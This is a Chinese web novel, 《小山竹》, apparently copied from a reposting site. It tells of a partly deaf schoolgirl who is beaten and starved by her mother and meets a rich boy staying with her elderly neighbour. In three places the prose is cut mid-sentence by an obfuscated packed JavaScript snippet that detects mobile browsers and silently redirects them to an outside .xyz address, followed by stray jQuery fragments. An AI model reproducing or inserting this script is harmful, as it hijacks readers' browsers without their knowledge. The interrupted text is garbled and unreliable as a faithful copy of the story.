《小山竹[校园]》 1. Chapter 1 《小山竹》文/折明椿 2025.7.18 首发晋江文学城 * ——“之后分离的那几年,我不知道该如何描述我的感觉。但我想,那是无法用言语描述的、无法形容的,好似一幅画缺少上色,线条勾勒成形,灵魂却是空白。” ——“候鸟会随着季节迁徙,但北方的人们会一直在白茫茫的雪地里等它们归来。就像候鸟会追随盛夏永不落下的烈阳,而我会在原地等待你岁岁年年。 ——“后来,烈阳在遥远的天边下沉,坠入海底,从此再也没有升起过。我彻底丧失了方向,跌入迷途,忘我知返。” * 红星镇第一初级中学暑假放得早。 是梅雨季,细密的雨汽弥漫到空气里,带着夏季特有的热。头上是白茫茫亮得刺眼的天,没有云,更没有风。 红星中学是县城里唯一的一所中学。每逢中考分数线公开后,不少家长扯着嗓子,给邻里近舍打电话,报哪个学校,少几分走关系能上吗,去寺庙烧香拜佛祈求孩子能考上学……有人欢喜有人哭。 云竹就是哭的那一个。 倒不是中考失利的原因,她已经上了高一,也不是期末考试考砸没过二本线,即将面临分班的原因。 而是—— 指尖在手机键盘上飞速敲打。 聊天框中显示完整的问题。 【我的助听器不小心弄丢了,怎么样才能避免妈妈的训斥?】 屏幕荧光映射|在云竹深棕色的瞳孔中,眼底掠过一丝担忧的神色。初中时妈妈为云竹买了助听器,上学期间她每天小心翼翼地保管好,不用的时候就放在一个小盒子里,这回愣是没料到居然会丢。 什么时候丢的?她毫无头绪。 甚至到现在也是一头雾水,将这几天接触的人全部想了一遍,设想偷窃的可能性,但最后全部被排除。 教室里监控除了大型考试外常年不开,询问老师也无果。于是她开始求助朋友程慕帮忙想法子。 指尖按下发送键,绿色显目的消息框呈现出来,最上方的备注马上变成“对方正在输入中……”。 手机铃声恰好在此刻响起。 备注:妈妈 电话打过来,是可以回家了吗? 云竹眨眨眼睛,脑海中响起妈妈定下的“家人电话不能长时间不接”的规矩,条件反射点击接听键。 “长能耐了啊,滚了就别再回来了!几千块钱说丢就丢,你以为父母的钱是大风刮来的吗?你怎么不把自己弄丢呢?” 屏幕碎裂的手机下端紧贴云竹的耳朵,那头传来怒吼,因此她迫不得已将手机放远了点。 但是这样一来,听不清楚。 云竹将手机放到能听见声音的左耳处,只能耐着性子回复:“助听器真的不是我弄丢的,妈妈。” 她垂眸,目光定在湿漉漉的水泥路上,“我不戴的时候就放在盒子里,我真的不知道怎么丢的……” “你的意思是说别人偷你的?别人偷一个聋子的助听器有什么用?凡事不会找找自己的原因吗?”一连串三个问句像锤子一样砸到云竹脑袋。 锋利无形的言语通过传声筒在云竹面前形成一把尖刀,她眼眸弥漫了一层淡淡的水雾,最终选择妥协,乖乖认错。 饶是这件事情根本和她没有关系,助听器的丢失压根毫不知情,“……那对不起妈妈。” 嘀嘀两声,通话结束。 云竹蹲坐在街道边,将手机小心翼翼地收好,双手托着腮叹了口气。这种闷热潮湿的环境下,心脏边缘在意识里也滋生出绿色浓密的苔藓。 为什么会丢? 真的是她的原因吗? ……也对,别人没事拿她的助听器干什么,没有成立的理由。 这么一想—— 云竹缓缓直起腰,整个人如同泄了气的气球再慢慢软下去。瘦得可怜的手臂环抱在膝盖边,饱满额头埋在腿间。 这么一想,好像真的是她的问题。 是她的错。 唉。 街巷尽头大人们呼喊自家孩子的声音络绎不绝,各种大差不差的乳名传播在空气,云竹迷迷胧胧间还听到了和自己一样的乳名,可能是撞名了吧。不过现在她的注意力并没有放在这上面,只想好好地坐在街道边的石砖上,小憩一会。 热得发白的烈日在天边尽头悬挂,晒得头脑发懵,热流空气如沙子般缓缓在街道里流动。不远处的人潮声和云竹完全处于两个世界,中间隔了层透明水雾,那些人声传入可听见的左耳酥酥麻麻的,像热锅中水烧开的声音。 恍惚间,她的视野尽头出现了一个人。 十分熟悉的身影。 是妈妈? 女人齐肩短发,挽着小包快步前进,热汗顺着打满粉扑的脸滑下,被突如其来的纸巾擦掉。 女人伫立在云竹旁边,满脸不耐烦,但依然喊了她的名字,拽她起来,让她回家,不然饭都凉了。 云竹意识停滞片刻。 但的确感觉有人戳了戳她的胳膊,逼真的触感,让埋头久坐的云竹恍惚了一瞬,是了,妈妈终于肯让她回家了。 久违的欣喜让云竹晃晃脑袋,一下子站起身,额间出汗的碎发被徐徐微风吹起,云竹迷迷糊糊睁开杏眼,但眼前一片黑色的乱麻蔓延至整个可见视线。 她丝毫没有觉察到面前真真切切站了个人。 “让一下。” 男生黑发白裤,肤色冷白似乎能看到微微透出青色血管。显出骨节的手按了按车铃,眼神冷漠,面无表情盯着云竹。 云竹身边没有手执物,身体一坠,低头整个人又坐回去。 好黑,好晕。 好晕好晕好晕好晕好晕…… 右耳听不见就听不见,被妈妈骂聋子也就算了。 可可可这会儿怎么又变成瞎子了? 四肢陆陆续续传来血液快速流动的感觉,带着几分疼痛,云竹用力闭了闭眼,可长期蹲坐在街边带来的低血糖仍然没有离开。 “你,让让。”男生的白色棒球帽遮住眼睛,在光下投出一片阴影。 他咬碎口中的棒棒糖,没有多余的耐心,“别挡道。” 云竹不为所动。 没听见? 男生脾气上来,沉稳的嗓音音量放大:“让一让,你挡着我停车了。”等他觉察到不对劲,右脚一踢将赛车支在原地,走近问她:“你怎么了?” 云竹低着头晕得厉害,左耳听到的声音反馈给大脑中枢,她这时才开口道:“等等,对不起……我低血糖……” 面前的人终于停下来了,在车头的筐子里翻找什么。 等到云竹眼前迷迷糊糊的黑雾散开,男生的五官逐渐清晰起来。 男生有一张精致非凡的面容,皮肤白皙得不像话,腰身劲瘦,白色T恤衫挂在上身,下摆随着弯腰而被微风轻轻吹拂。 个子很高,天然的衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981393|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裳架子。 不过云竹的注意力显然没有放在这些外貌优点上。 她的视线缓缓下移,停在黑色长裤边人工刺绣的logo上,接着又看了看他的鞋子品牌。 嗯……都是名牌,一定很贵吧? 云竹的心揪了一下。 这些摆在明面上的,能让人一眼看到的东西,往往是外人对此评价的第一印象。云竹小学跟着妈妈苏琦居住,苏琦每天要上班,从不给她零花钱,连衣裳都很少买新的。 那时候班上盛行攀比之风,谁比谁鞋子穿的好,谁比谁的衣服更大牌,谁比谁的文具袋更精致……放在大人们眼里毫不起眼的小事情,无关紧要甚至没有意义的事情,往往在小孩子面前显得十分要紧。 云竹永远记得因为用的是老旧的铁式文具盒被班里同学暗暗嘲笑乡巴佬,没有眼界的穷鬼。云竹不敢告诉老师,只敢在课下偷偷抹眼泪,回到家纠结好久,告诉妈妈,但换来的却是这样一句斥责——“成天不学好非得去学和人家攀比?早知道你这么矫情,我就把你弟换过来得了!” 这早已成为云竹心中的一道不可磨灭的伤疤。 “还晕么?” 云竹下意识收起因为难过的回忆碎片而显露出的悲伤情绪,敛了眼泪,摇摇头。 “喝口水清醒清醒,水都拧开了。”男生将拧开的农夫山泉递给坐在地上的云竹,“当送你了。” “谢谢,但我不要。”云竹说道。 “你说什么?”男生显然没有意料到云竹是这个反应。 “我不要你的水。”云竹低着头,手指不停地摩挲着衣角。 但矿泉水都拆封了。 “……理由。” “你是陌生人,陌生人给的东西不能要,大家都知道这个道理。”云竹拿出家家户户教导小孩的大道理,总结成几句话甩给男生,小声嘟囔,“嗯……而且我也不喜欢欠别人东西……” 理直,气也壮。 男生气笑了,“那你热天大中午的,不在家待着凉快,跑到路边晒太阳做什么?” 云竹觉得第一次见面,没必要告诉他自己家里的事情,随便扯了个谎,“我缺钙,出来晒晒太阳补补钙。” 男生垂眸看她不自然的神情,对方的眼睛根本不敢直视他,一眼明了,他只好笑笑:“不是缺钙,是缺心眼吧,还是该说你傻得可怜。” 云竹感到自己被骂。 一怒之下又怒了一下。 云竹只好默默站在一旁,对她来讲这些骂人的词汇早已是家常便饭,仅凭苏琦几年来对她的教训,就已经使云竹磨了性子。 男生继续说:“大热天,没带水,晒太阳把自己晒晕,还特意坐在我家的车道旁边不走。” 云竹看地不语。 “你这是来碰瓷的?”男生瞄了云竹一眼,随手将拆封后的矿泉水搁在石墩上。 没给云竹辩解的时间,男生语气凶残:“起来,挡着我停车位置了。” 云竹站起身,双手拍拍脏兮兮的衣服,站到一旁,给男生让出一条道路。 男生停好赛车,转过头见云竹站在大叶女贞树下还没走,乌黑的发丝在空气气流中摇曳。 男生眼眸静静地盯着她,沉默片刻,转身就走,身影在街道边的尽头渐渐缩成一个小点。 慢慢不见踪影。 虽然脾气臭,脸也黑。 云竹转过头,看着放在石墩上的矿泉水。 但心起码不是黑的。 2. Chapter 2 临近傍晚,云竹依然独自一人坐在街边。下午降温降的快,她随便找了个小地方坐着,时不时抬头去看筒子楼三楼的窗户,从这个角度看,能看到家里苏琦在家。 要等一个机会,等到苏琦晚上出去,云竹才能回家,不然现在回去免不了一顿毒打。 云竹想到这里,下意识撸起袖子,细嫩的皮肤上全是青青紫紫的痕迹。苏琦每晚回家都会喝酒,把工作上受的气全部发泄在她身上。 久而久之,云竹摸清楚了妈妈的习惯,总是会在这一天晚上等到她出去值班后,偷偷溜到家里,看看冰箱里有没有吃的,有时候是放了很久的面包,也有的是变质的汽水。 云竹用的是爸爸离开她之前送的一部旧手机。屏幕右上角显示电量过低。 晚霞漫天,醇厚的紫色晕染着橙黄,云层交叠处渲染出一片深色。风一吹,地面上的水洼波涛粼粼,连带着天上的颜色也泛着暗光。 如果不是手机电量过低,云竹还挺想点开相机,对准晚霞拍一张照片。 孤零零的小女孩蹲坐在树下,大叶女贞树结满了涩青的、一粒一粒像小葡萄的果实,几片叶子掉下来落在地上,云竹顺势捡起来,摩挲着叶面上的纹路。 晚上七点,苏琦穿着老式磨边的皮夹克,下身穿着紧身皮裤,挂着个包便出门了。身影从楼梯间出来的一瞬间,云竹吓了一大跳,差点被发现,小小的身子藏在筒子楼拐角处。 忘了没带助听器,听见脚步声对她来说蛮困难。 确认苏琦走远后,云竹悄无声息跑上楼,钥匙插/进锁眼,扭转吃力,锁眼里已经很久没有灌铅了。她打开门后,一股酒味混着汗味的脏气味扑面而来,云竹用手扇了扇风,走进去。 花地砖上啤酒瓶和碳酸饮料歪七八斜地躺在地上,甚至有没喝完的饮料洒了一地。折叠桌上的炒面长了霉菌,云竹一手捏着鼻子,一手将装着炒面的塑料袋扔进垃圾桶。 云竹简简单单将家里的垃圾整理完后,找到充电器,插座线上不知道什么时候被耗子啃掉了一层皮,但她只有这一个充电器了。 给手机充上电,又去洗了个手,跑到厨房,打开冰箱门的那一刻,云竹无声地叹了口气。 冰箱空空,目光移动在冰箱门两侧的装置处,也是空空如也,有的也只是过期的冰镇饮料和放久的番茄酱料。 她又去狭小的卧室床下,翻找到藏起来的小金猪存钱罐,晃了几下。 空空如也。 看来苏琦早就发现她藏钱,没有揭发,原来是等着存够后全部拿走。 云竹没钱。 没钱去买饭。 更没钱去买助听器。 云竹蹲下|身,思绪一片空白。 肚子好饿。唔……要不要去恳求一下邻居王婆婆呢?但是上一次就拜托婆婆多做一份晚饭了,这次又这样,会不会很讨人嫌?王婆婆做的饭很好吃,比妈妈在地摊上随便买的晚饭好吃多了,妈妈做的总是有一股烧焦的味道…… 云竹纠结着,内心仿佛分裂成了两个小人指着鼻子在吵架,左边的在吵要吃就吃,环境所迫,不然饿得就是自己,王婆婆不一定会拒绝,要勇敢地试一试;右边的在吵不能总是麻烦别人,太败坏好感。 要怎么办呢…… 又有谁愿意收留她? 怎么办怎么办怎么办好饿好饿好饿,中午没吃饭就被赶出来,又到了晚上,睡觉时也会被饿醒。 云竹垂头丧气,坐在卧室脏兮兮的床边,打开手机通讯录,找到联系人爸爸,犹豫着要不要拨打出去。 会被妈妈发现吗?发现后又会被打一顿。 但是爸爸在另一个城市,可能已经有新的家庭了,还会管她吗? 可能连是死是活都不会管吧…… 云竹眼眶泛红,安安稳稳坐在床上的力气也消失殆尽,她蹲在地上,头发披散在肩膀,双手捂脸,用被子的一角擦边流淌在脸颊边的眼泪。 月光从窗外的树梢上暗暗涌动,穿过窗户玻璃流在云竹的侧脸边。她点开微信好友,才发现程慕跟连珠炮似的一口气发了几十条新消息。 程慕:【啥情况?你的助听器丢了?要不要我下次上课帮你问问班上同学?】 程慕:【什么时候丢的你还有印象吗?】 程慕:【这多少钱啊,你妈又骂你,唉,你妈骂你时你就跑,我姥姥说,跑了就听不见那些负能量的话了,人生活在负能量的脏环境里,对身心不好,会得抑郁症。】 程慕:【分班名单出来了,咱俩一个班哈哈哈哈!我同桌转学了,我身边有空位置,估计开学了老师就会把你分到这里。】 程慕:【对了,下周日要开学,不是正经开学,是补课!我还准备想举报呢,妈的又补课,成天补补补补,咋滴补课了我们就能上清华北大了?】 云竹一整条看下来,几乎是每一条好友的信息都会一个字一个字认真回复,这就是程慕在刚开学时,死活要和她交朋友的原因,说是云竹性格木木的,对待友谊也认真,不是班里那种墙头草、势利眼,她很喜欢。 但云竹又是个慢热的脾气,程慕又是她在整个高中时教的第一个朋友,上学期在班里存在感极低,连个饭搭子都没有,抢饭也抢不到最前面,已经习惯了独来独往。多了个朋友,总归有些不太适应。 好在事实证明,多个朋友确实感觉不错,起码孤独感减少了一半。 况且,程慕不嫌弃云竹的左耳听不见,会把她当正常同学对待。 云竹敲字回复上面的消息后,又问道:【程慕——】 打字打到一半,云竹蹙眉,直接讲有没有饭吃会不会像个乞丐? 程慕这个仗义爱出头的脾气肯定会火急火燎窜到她家,面对面出主意,或者自己掏钱帮她买饭。 云竹回头看了一眼乱七八糟的客厅,脑海里又想到空荡荡的小金猪存钱罐。 欠别人太多,总归是不好的。 而且她没钱,还也还不起。 因此,云竹决定还是换一种问法。 云竹:【程慕,你家有没有零食?】 程慕:【你想吃零食?那等我下去买!】 云竹一听又要麻烦人家,想也不想改变了主意:【不用了不用了,十分谢谢你,我就随口一提,你别放在心上。】 程慕起了疑心:【怎么回事?这个点你吃零食,零食不能当饭吃啊,你是不是没吃晚饭?你瘦的跟麻杆似的,不吃饭怎么能行?是不是家里没人做饭?】 一连串问题看得云竹眼晕。 不知道是饿晕了还是看晕了。 这样麻烦程慕,一次就很为难了,总不能事事都靠她……会成为她的累赘。 云竹不想给程慕带来不必要的麻烦,这是自己的事情。 云竹:【不用了,没关系,我就随口一提,你忙你的去吧,我刚刚在冰箱里找到吃的了。】 又一次撒谎。 云竹想到空空荡荡的冰箱冷藏层。 脑子一顿,忽然想起中午遇到的那个骑赛车的男生,一眼看出来她撒谎的窘态。 幸好这是在手机微信上聊天,不然现实中面对面,也不知道程慕会不会看出来…… 程慕没了新消息。 晚饭话题就此结束。 可云竹的饿肚子问题还没结束。 再这样饿下去,等妈妈一回来,说不定连逃跑的力气都没有。 她还是想活下去的,哪怕是一点希望。 云竹站起身,拍平衣服上的皱褶,走到卫生间洗把脸。天花板上灯泡散发着昏黄的光亮,黄色大理石洗手台上布满水渍,她捧了一把凉水洗脸,再抬头,盯着另一个自己看,镜子上的裂痕也挡不住稚嫩五官带来的美感。 总算不那么晕乎乎的。 云竹原地作了十分钟的心理斗争,最终还是求助邻居王婆婆。 * 筒子楼二号区。 二楼刷满绿漆的铁门外。 身材小巧的女孩一身浅色系衣服,白色外套搭配灰色牛仔长裤,白鞋在台阶上发出轻巧快速的声音。 盯着面前挂在门头上的八十年代的碎花布帘,云竹抬起的手停顿在空中。 王婆婆很久没有换过铁门了,印象里,小学时王婆婆的家就破旧不堪,没见过换新锁,更没见过换新沙发。 这样讨饭,真的好么? 最后一次了。 最后一次…… 最后一次! 讨完这顿饭,以后就不会给王婆婆添麻烦了。 云竹自认为本身就是个麻烦。 在家里讨人嫌,被苏琦打骂,被几年前离开的爸爸从未主动联系过;当然在外也讨人嫌,除了热心肠程慕,人人都嫌弃她是个残疾人聋子。 云竹深呼吸,灰扑扑的楼道里空无一人,楼梯拐角处的窗户口没关,墙角无人打扫,蛛网灰尘遍布。 她抬手,小心翼翼地敲门。 “王婆婆——” 这次喊的一声,像是从嗓子眼里憋出来。 “王婆婆,是我,云竹。” 她再敲敲门。 伴随着敲响铁门的回音响彻楼道,还有屋内传来轻快的脚步声。 云竹好看的细眉拧在一起。 王婆婆腿脚不方便,这个脚步声……是谁的?小时候记得王婆婆的儿女都在外省,是今天回来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981394|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了吗?但今个日子也不是什么节日吧……也可能是突然回来了,这也挺好,能陪陪王婆婆。 云竹的思绪和窗外的风一样毫无头绪,像湖里的鱼群,一股气涌上来吐着不规则大小的泡泡。 长风吹来,裹挟着夏日里苍茫的雨丝,细打女贞绿叶,掠过地面水洼。 雨滴随风落在云竹脸上。 “咔嚓”一声,门打开的瞬间—— 云竹瞪大了眼睛,纯黑色瞳孔中倒映出高瘦的身影。 依然是中午见到的棒球帽,白外套懒懒散散挂在肩上,肩胛骨瘦削有力,长腿随意收在一边,黑白搭配。 唔……一身高级货,这么有钱,怎么回来到这栋几百年没有翻新过的筒子楼里? 云竹暗想。 “不愧是小缺心眼儿,敲错门了,这不是你家。”男生单手扶墙,黑亮的眼珠直勾勾盯着云竹,细细吐出这个别称。 “自己家都能找错。”男生说完就把门带上。 留下了一鼻子灰的云竹愣在原地,抓住衣角摩挲着,又抬头看了一眼楼层,确认没找错的地方后,又敲敲门。 “……你才缺心眼。”云竹想起开门红,情不自禁回怼了句。 敲门声没人理。 她继续敲敲。 男生一把拉开门,掀开眼皮上下打量云竹,直接把话说开:“我这不是宾馆,不提供住宿。” ……这人说话,好欠。 云竹又一次憋红了脸。 “不是这样的,我是来找……王婆婆的,她搬走了吗?”云竹强忍着内心泛上来的憋屈,一口气说完。 “……王婆婆?”男生黑眉挑起,细细品觉这个称呼,“你找她干什么?” 云竹越发觉得这人多管闲事,干脆言骇意简道:“有事。” “那是我姥姥。”男生依靠在墙边,屋内落地风扇左右摇晃,凉风吹向他,黑裤衣边随风漾出波浪状,“你有什么事直说。” ……好凶。 把上门讨饭这四个字说出来,估计会被他轰走。 云竹垂头丧气:“我能不能见王婆婆一面?” “姥姥去买菜了,现在还没回来。”男生望了一眼楼梯口,外面雨丝风片连成线。 这事情真难办……王婆婆离开了,这个脾气差的在家里……怎么办?要在门口等王婆婆回来吗?还是直接走? 云竹又一次陷入纠结,她一紧张,就双手背后忍不住抠手。 或许是老天赏脸,楼下传来窸窸窣窣的声音,像是上楼时塑料袋摩擦发出来的响声。 云竹还在原地急得脑子打结。 “南南,你咋出来啦嘞?”苍老却有力的声音从楼下传来。 云竹站在墙角,由于右耳失聪的原因没听见,急得在角落偷偷掉眼泪。 这都什么破事?起先助听器丢失,中午被赶出家门,连饭都没吃,下午又低血糖,回家后更没东西吃……好不容易下定决心去王婆婆家,但遇到个这么情况…… 这些零零碎碎的小玻璃陷在心房里,每一次触动,都会引起大面积的疼痛泛滥。 直到三个人坐在同一间房子里,才隐隐约约有了退势。 男生到了饭点主动帮王婆婆洗菜,也不管身上穿得是五位数的衣服,就这么随便撸起袖子,搬个木凳子坐下择空心菜。 没一点少爷架势。 云竹在沙发上瞧他。 她是客,王婆婆让她坐在沙发上休息。云竹倒是很想过来帮一把,但话语死死卡在喉咙眼里,说不出来,坐下干等着晚饭做好。 不知道是不是外面降温下雨,室内太闷,闷得让人心慌,也可能是王婆婆家里多了个素不相识的男生,云竹总觉得哪里都很拘束。 云竹心里实在过意不下去,也搬起个小凳子坐在垃圾桶旁边,薅了一捆空心菜,跟着男生择菜。 雨天,菜体最外面的泛黄叶子还有水珠,云竹将其扔进垃圾桶。 许是太无聊了,空气里弥漫着闷闷的气息。 云竹胆怯地张口,但又不知道该说些什么。 说些什么,说什么话题,好像都和眼前的人毫无关系,两人之间如同隔了一层透明的、薄薄的雾,听不见声音,只见面孔。 云竹开始观察他的行为举止,择菜动作生涩,有的连新鲜嫩芽都扔进垃圾桶里。果然还是少爷,没亲自下厨做过活。 从样貌来看,他正是风华正茂的年纪,按理来讲,给人一种青春年华如春草破土而出的向上力量感,但是…… 云竹的视线停留在他身上。 肤色好白,似乎能看到皮肉下的青色血管。 这个人,好像病怏怏的。 3. Chapter 3 冥冥之中,无头绪的想法连在一起。联系到与这家里毫不匹配的行头,见人总是面无表情,也不打招呼。 王婆婆上楼时,他也只是上前帮忙提着菜篮子和鼓鼓囊囊的塑料袋,身边婆婆絮絮叨叨的声音一句也没答,只是嗯一声又一声。 摆着副臭脸,臭脾气。 是家里破产了吗? 既然破产了,那也能说的通。 现在大环境都不好赚钱,妈妈也来来回回换了好几个工作。 云竹继续瞧他,目光带了一丝不易觉察的悲悯。 “看够了没?”男生忽然说道,两人坐的近,把云竹吓得一激灵。 “没、没有……”云竹下意识回答,脑子一愣又改口道,“不是不是,说错了。够了…” 两个回答都让人难答。 男生轻笑一声,接着干手里的活。 云竹干脆闭嘴。 幸亏客厅没开灯,云竹半张脸隐没在阴影处,没人看到她脸上的窘态。 “你为什么来这里?”男生毫无厘头地来了句,“没有家吗?” 云竹仰起脸,认真思考了这个问题。 “有家,但更准确的来说,那是睡觉的房子,不是家。” “你被人赶出来了?还是离家出走?” “……都有。” “那你挺可怜的。” “你也是,家里可能破产了吧,要不然也不会来这里破旧的楼房。” “……?” “……你家没有破产?” 男生气笑了,“想象力很丰富。” “……谢谢。” 话匣子一旦打开,在狭小的客厅内,就再也无法合上。不远处的厨房传来水龙头大开的流水声,锅碗瓢盆发出的声音成了两人聊天的完美避风港。 云竹捡起一片菜叶子,挑起趴在叶子背面的青菜虫,“那你呢?” “什么?” “你不是本地人,怎么突然来这里?”云竹想了想,生活在这条小巷子里,多少人的面孔都会有点印象,但搜寻了无数记忆,硬是没有一点找到和他有关的事情。 “我啊——”男生用干净的指甲挑起指腹上的烂菜叶子,漫不经心。 云竹静静地等着后话。 “体验生活。” “……” 我迟早和你们有钱人……算了。云竹摇摇头。总归不是同一条道路上的人,无缘不必强求。 两小捆新鲜空心菜很快择完,男生甩甩手,端起地上的不锈钢盆就往厨房去,留下云竹一个人在原地。她再次回到沙发旁边,打开电视机。 王婆婆家里就是这样朴素的让人安心,整个屋子的装修像八零年代。连电视柜上摆的电视机都是又老又旧的笨重款式,拿起附上一层塑料膜的遥控器,按下去,电视机屏幕上顿时出现雪花屏。 滋啦滋啦,和窗外的雨声重叠在一起。 下一秒屏幕出现陈晓旭的脸,果不其然,王婆婆又在看八七版红楼梦。正好播放到刘姥姥进大观园那一话,各个人物矜持的欢笑声响彻客厅,覆盖住从厨房传来的油锅沸腾的炒菜声。 刚进门时,手机随手放到了茶几上,此时传来新消息提示音,屏幕亮起。云竹见状单手拿起手机,离开桌布的瞬间,手机壳和茶几上铺的一层软透明塑料发出粘腻的声响,云竹不嫌弃。 云竹看到熟悉的联系人界面发来一条足足六十秒的长语音。 六十秒不是苏琦的极限,而是微信一次性语音长短的极限。 云竹刚准备点开,又看了一眼在厨房做饭的两个人,于是长按转文字。 一大片脏言片语、忍辱不堪的文字一个一个字呈现在微信框上,云竹盯着那整日里听得耳朵快要磨出茧子的那几个词汇,终是忍不住红了眼。 苏琦照样什么也没有给这个女儿留。 在女儿和小儿子之间,苏琦纠结良久,最终一定锤音选定了女儿云竹。 当时街坊邻居还觉得,当妈的还是心疼女儿,毕竟女儿跟着妈妈亲。 云竹起先也是这样觉得,妈妈很好,妈妈爱她,不忍心看她在父亲那边受苦,担心被后妈虐待。 但是这个想法在一次周三晚上,妈妈醉酒打电话怒骂的时候,彻底破碎。 * 2018年3月17日。 这只是一个普通的不能再普通的日子。 苏琦照样晚上去工作应酬,喝得不省人事。年龄尚小的云竹迷迷糊糊接到一个陌生电话,说是苏琦的同事打过来的,目前在楼下,让她过来接应。 云竹想都没想就穿着拖鞋跑出去,飞奔下楼,果不其然,趁着月光,她在楼下看到了喝得一塌糊涂的妈妈。女同事只是瞥了云竹一眼,说道:“你这小身板,扛着你妈回去,能行吗?” 云竹点点头,和阿姨道谢后就扶着妈妈,纤细的胳膊微微颤抖,中学生扶着一个成年人,还真是不容易。 当时很想和阿姨说,她扶不动,妈妈喝得太晕了,会耍酒疯,一不小心跌落楼梯,她也没钱送医院。 但是这些话,最终还是用牙咬碎,搅混着口腔里的苦涩,咽进肚子里去。 只因妈妈说过她就是一个麻烦精。 身为一个麻烦精,本身就是个大麻烦,那就不要给别人增添烦恼。 醉醺醺的妈妈躺在又破又烂的小床上时,云竹蹲在角落里累得气喘吁吁,满头大汗,眼前一片黑一片白。 苏琦哭红了眼,嘟囔着云竹听不懂的话。 那天。 那天是什么情况? …… 好像也是下着大雨,雨点跟豆子似的,噼里啪啦打在窗户玻璃上,吵人的很。 苏琦当场就怒骂一声:“你他妈不会把窗户关上啊?床单衣服湿了我可没钱给你买新的!” 伴随着冲天怒吼,还有一阵重物砸到墙上的声音。 云竹急忙跑去关上窗户,回头看去,高跟鞋的鞋印呈现在墙上。 好险好险,差点被砸死…… 就在她内心暗暗松一口气时,床上摆成“大”字的女人突然哭出声。 云竹慌里忙慌光着脚丫子跑去客厅,烧了一壶热水,在满是外卖垃圾油腻污迹的茶几上,挑到了一个还算干净的杯子,装满水,送去。 卧室门虚掩着,云竹踮起脚尖,左手握着腾起腾腾冒热烟的塑料杯,右手搭在门把手上。 门把手生锈了,摸起来很粗糙。 雷雨交加,窗户外面电闪雷鸣,暴风雨忽至。 云竹感觉全身就要湿透,明明家里的门窗全部关得严严实实,但全身上下的每个毛孔,如同浸在海底深渊般,堵塞,又泛着湿意。 卧室里传出女人断断续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15981395|177945||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 续、上气不接下气的哭声。床上显出手机屏幕的白光,像是在给什么人打电话。 在打电话,这个时候应该不能硬闯吧……不然会吵到妈妈的。云竹是这么想的,于是继续光着脚丫子踩在冰冷的地板上,双手捂着热水瓶取暖。 像只可怜小猫,无依无靠。 “啊啊……我真的不知道……呜呜呜呜你说这是为什么啊?为什么我要把她要回来?”苏琦撕心裂肺的哭声从卧室门缝里传来,云竹这个时候特别想冲进去抱抱妈妈。 “她一点出息都没有,还是个聋子,你知道吗她是个聋子!耳朵都听不见,你指望她将来能干什么?我连家长会都不给她开,为什么?因为太丢人了!”苏琦将整个人蒙在湿漉漉的被子里,声音显得闷闷的,但依旧清晰,“谁会喜欢一个残疾人孩子啊?放屁!你以为我很有钱吗?助听器的钱都是我扣扣搜搜省下来给她买的,要不是她在这里,我早就改嫁了!” “云生在那边过的应该很好吧,我前夫很有钱,零花钱也给的多……你说什么?妈的,要是那个贱人敢虐待我儿子我他妈直接上去拿刀拼了!” “我想再找一个,但是这个聋子太耗费我的精气神了……体弱多病,爱哭,我都不想说,如果她是一个健全的人该多好……” 隔着被子的音量小了许多,再加上窗外雷声阵阵,听力有障碍,话语落到云竹耳畔并不完整,但她还是从断断续续的字眼中听出来了什么。 云竹对于左耳失踪这一缺陷,完全没有足够的勇气重提。 从小到大,聋子,残疾人……这些看似正常但实则带有恶意的称呼从未在她身上断掉过。 曾以为妈妈会不嫌弃她。 但是一切的一切,这些空有的、虚无的感情全是空白的纸包,云竹以为里面是甜蜜的冰糖,但拆开后却是一堆蠕虫在缓慢地恶心地爬行。 妈妈从未接纳过她。 之后的日子里,云竹也渐渐明白,当初父母判离婚时,为什么妈妈最终选择了她而不是弟弟。 原来弟弟跟着有钱的爸爸,吃喝不愁,无须担心物质方面的生活,而她跟着妈妈,过着漂泊破碎的日子。 妈妈忍心舍得将爱子远送前夫,同样忍心让云竹从小跟着自己受苦受难。 云竹扭过头,脚底似乎吸纳了地面上所有的凉气,冰冰凉凉没有温度。 她脚步漂浮,弱小的身子一晃一晃,如水的月光在她身上停留,最后被晃下来,滴在地面上。 是月亮在哭。 同样的,云竹也在无声地哭泣。 泪水滴在手机屏幕上,原本充满裂痕的手机屏保已经够看不清字了,这眼泪再模糊一下,苏琦发来的一长串语音隔着电子屏幕融进水里,恶意渐渐蒸腾。 或许她就是做的不够好。 云竹沉浸在悲谷中总是这样想。 楼上传来噼里啪啦的破碎响声,夹杂着女人呜咽的叫骂声,似乎连带着天花板也阵阵颤抖。 